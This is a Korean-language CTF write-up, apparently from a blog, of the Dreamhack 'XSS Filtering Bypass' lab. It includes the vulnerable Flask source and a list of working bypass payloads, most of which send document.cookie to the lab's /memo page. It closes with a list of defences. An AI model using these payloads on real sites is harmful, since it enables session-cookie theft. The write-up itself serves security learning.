๐๏ธ Access
Exercise: XSS Filtering Bypass์์ ์ค์ตํ๋ ๋ฌธ์ ์ด๋ค.
๐พExploit Algorithm & Payload
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
return text
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
#1
: '/' ํ์ด์ง์์ vuln(xss) page, memo, flag ํ์ด์ง๋ก ์ ์ํ ์ ์๋ค.
: '/vuln' ํ์ด์ง์์ param์ด๋ผ๋ ํ๋ผ๋ฏธํฐ์ ํ๋ผ๋ฏธํฐ ๊ฐ์ ์ ๋ ฅํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ๋ฐ์์ ์ป์ ์ ์๋ค.
: xss ์ทจ์ฝ์ ์ด ๋ฐ์ํ ๊ฒ ๊ฐ๋ค๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
: '/memo' ํ์ด์ง์์ memo๋ผ๋ ํ๋ผ๋ฏธํฐ์ ํ๋ผ๋ฏธํฐ ๊ฐ์ ์ ๋ ฅํ๋ฉด ์ถ๋ ฅ๊ฐ์ ํ์ธํ ์ ์๋ค.
: ์ทจ์ฝ์ ์ด ์๋ ํ์ด์ง๋ฅผ ์ด์ฉํด ์ด ํ์ด์ง์์ ๊ฒฐ๊ณผ๋ฅผ ํ์ธํ ์ ์์ ๊ฒ ๊ฐ๋ค.
: '/flag' ํ์ด์ง์์ POST ๋ฐฉ์์ผ๋ก xss ์ทจ์ฝ์ ์ ์์น์ ํ๋ผ๋ฏธํฐ ๊ฐ์ ์ ์ถํ๋ฉด FLAG๋ฅผ ํ๋ํ ์ ์์ ๊ฒ์ผ๋ก ๋ณด์ธ๋ค.
#2
#...
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
text = text.replace(f, "")
#...
: ๋ค์๊ณผ ๊ฐ์ด script, on, javascript๋ผ๋ ๋จ์ด๋ ํํฐ๋ง๋์ด ์๋ ๊ฒ์ ์ ์ ์๋ค.
: ํ์ง๋ง ํํฐ๋ง ์์ฒด๊ฐ ๋ฏธํกํ ๊ฒ์ ์ ์ ์๋ค.
(filter ์๋ฌธ์์ ๋ํด์๋ง ํํฐ๋ง ์ฒ๋ฆฌํ๊ณ ์ด๋ฅผ ๊ณต๋ฐฑ("")์ฒ๋ฆฌํ๋ค.)
# on ํํฐ๋ง ๋ฌธ์๋ฅผ ์๋์ ์ผ๋ก ์ฝ์ ํ์ฌ xss ์ฐํ ๊ณต๊ฒฉ
<scscriptnipt>alert(1)</scrscriptipt>
<img src="x" oonnerror="xss_bypass">
<svg src="x" oonnerror="xss_bypass">
...
#๋๋ฌธ์ ์ด์ฉํ ์ฝ์ xss ์ฐํ ๊ณต๊ฒฉ
<Script>alert(1)</Script>
# Unicode escape sequence๋ฅผ ์ด์ฉํ xss ์ฐํ ๊ณต๊ฒฉ
<img src="x" \u006Enerror="xss_bypass">
: ํํฐ๋ง์ ๋ฏธํกํ๊ฒ ์ฒ๋ฆฌํ๊ธฐ ๋๋ฌธ์ ๋ค์๊ณผ ๊ฐ์ด ๋ค์ํ๊ฒ xss ์ฐํ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๋ค.
๐Analysis and results for obtaining the Flag DH{…}
#๋์๋ฌธ์&๊ณ ์์ ํํฐ๋ง ์ฝ์ ์ด์ฉํ xss ์ฐํ ๊ณต๊ฒฉ
<Script>locatioonn.href="/memo?memo="+document.cookie;</Script>
#๊ณ ์์ ํํฐ๋ง ์ฝ์ &Unicode escape sequence ์ด์ฉํ xss ์ฐํ ๊ณต๊ฒฉ
<sconript>locatio\u006E.href="/memo?memo="+document.cookie;</sconript>
#๊ณ ์์ ํํฐ๋ง ์ฝ์ &Computed member access ์ด์ฉํ xss ์ฐํ ๊ณต๊ฒฉ
<sconript>document['locatio'+'n'].href="/memo?memo="+document.cookie;</sconript>
#img ํ๊ทธ(onerror)&๊ณ ์์ ํํฐ๋ง ์ฝ์ ์ ์ด์ฉํ xss ์ฐํ ๊ณต๊ฒฉ
<img src="x" oonnerror="locatioonn.href='/memo?memo='+document.cookie">
#svg ํ๊ทธ&๊ณ ์์ ํํฐ๋ง ์ฝ์ ์ ์ด์ฉํ xss ์ฐํ ๊ณต๊ฒฉ
<svg oonnload="locatioonn.href='/memo?memo='+document.cookie">
<svg/oonnload="locatioonn.href='/memo?memo='+document.cookie">
#body ํ๊ทธ&๊ณ ์์ ํํฐ๋ง ์ฝ์ ์ ์ด์ฉํ xss ์ฐ์ ๊ณต๊ฒฉ
<body/oonnload="locatioonn.href='/memo?memo='+document.cookie">
#javascript ์ฌ์ด Tab&๊ณ ์์ ํํฐ๋ง ์ฝ์
<iframe src="javascr ipt:locatioonn.href='/memo?memo='+document.cookie">
#javascript ์ฌ์ด Tab(Embedded Encoded tab)&๊ณ ์์ ํํฐ๋ง ์ฝ์
<iframe src="javascr	ipt:locatioonn.href='/memo?memo='+document.cookie">
#javascript ์ฌ์ด Tab(Embedded newline to break up XSS)&๊ณ ์์ ํํฐ๋ง ์ฝ์
<iframe src="javascr
ipt:locatioonn.href='/memo?memo='+document.cookie">
: ๋ค์ํ ๋ฐฉ๋ฒ์ผ๋ก ์ฐํ๊ฐ ๊ฐ๋ฅํ์ผ๋ฉฐ FLAG๋ฅผ ํ๋ํ ์ ์๋ค.
๐Summary
ํํฐ๋ง ์ฐํ ์ ๊ทผ๋ค์ ์ด๊ฒ ์ด์ธ์๋ ๋ค์ํ๊ฒ ๋ฐ์ ํ ์ ์์
- XSS ์ฐํ ๊ณต๊ฒฉ ๋์๋ฐฉ์ -
- ์ ๋ ฅ ์ ํจ์ฑ ๊ฒ์ฌ
- ์ปจํ ์คํธ ์ธ์ ์ถ๋ ฅ ์ธ์ฝ๋ฉ
- ์ฝํ ์ธ ๋ณด์ ์ ์ฑ (CSP)
- HTTP ์ ์ฉ ์ฟ ํค
- ๋์ ๋ฐ์ดํฐ๋ฅผ ์ ์ ํ๊ฒ ์ด์ค์ผ์ดํ ์ฒ๋ฆฌ
- WAF ์ฌ์ฉ
- ์ ๊ธฐ ๋ณด์ ์ ๋ฐ์ดํธ ๋ฐ ํจ์น
- ๋ณด์ ํ ์คํธ ๋ฐ ์ฝ๋ ๊ฒํ
…
XSS ๊ณต๊ฒฉ์ ๋ค์ํ๊ฒ ๋ณํํ์ฌ ์ ์ฉํ ์ ์๊ณ , ์๋ก์ด ์ฐํ ๊ธฐ์ ์ด ๊ณ์ ๋ํ๋ ์ ์๊ธฐ ๋๋ฌธ์ ์ต์ ๋ณด์ ๋ชจ๋ฒ ์ฌ๋ก๋ก ์ต์ ์ ๋ณด๋ฅผ ์ ์ง ๋ฐ ์ง์์ ๋ชจ๋ํฐ๋ง ์ค์
'[Dreamhack]WebHacking > ๋ก๋๋งต_ClientSide' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Level3: CSP Bypass Advanced (0) | 2024.01.17 |
---|---|
[Dreamhack] Level2: CSP Bypass (0) | 2023.11.18 |
[Dreamhack] Level3: XSS Filtering Bypass Advanced (0) | 2023.09.02 |